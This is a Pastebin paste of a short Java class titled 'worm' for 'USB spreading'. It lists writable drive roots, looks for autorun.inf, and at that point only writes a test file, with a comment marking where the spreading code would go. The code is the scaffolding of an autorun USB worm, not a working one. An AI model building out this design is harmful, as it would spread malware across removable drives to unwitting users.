Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //USB SPREADING
- //by rutera.org
- import java.io.*;
- public class worm {
- public static void main(String[] args){
- File[] roots = File.listRoots();
- if (roots == null) {
- // you have a different problem here. Is it even a computer we are talking about?
- }
- // Iterate through roots
- for (File root : roots) {
- if (root.canWrite()) {
- //System.out.println(root.getAbsolutePath());
- for(int file = 0; file < root.listFiles().length; file++){
- //System.out.println(root.listFiles()[file].getPath());
- if(root.listFiles()[file].getAbsolutePath().substring(root.listFiles()[file].getAbsolutePath().lastIndexOf("\\")+1).equals("autorun.inf")){
- String fname = root.getAbsolutePath() + "test.txt";
- try{
- //Execute the spreading now that you have where the USB is
- //This is an example for show
- FileWriter outfile = new FileWriter(fname);
- outfile.write("hi");
- outfile.close();
- }catch(IOException e){
- System.out.println("IO Issue");
- return;
- }
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement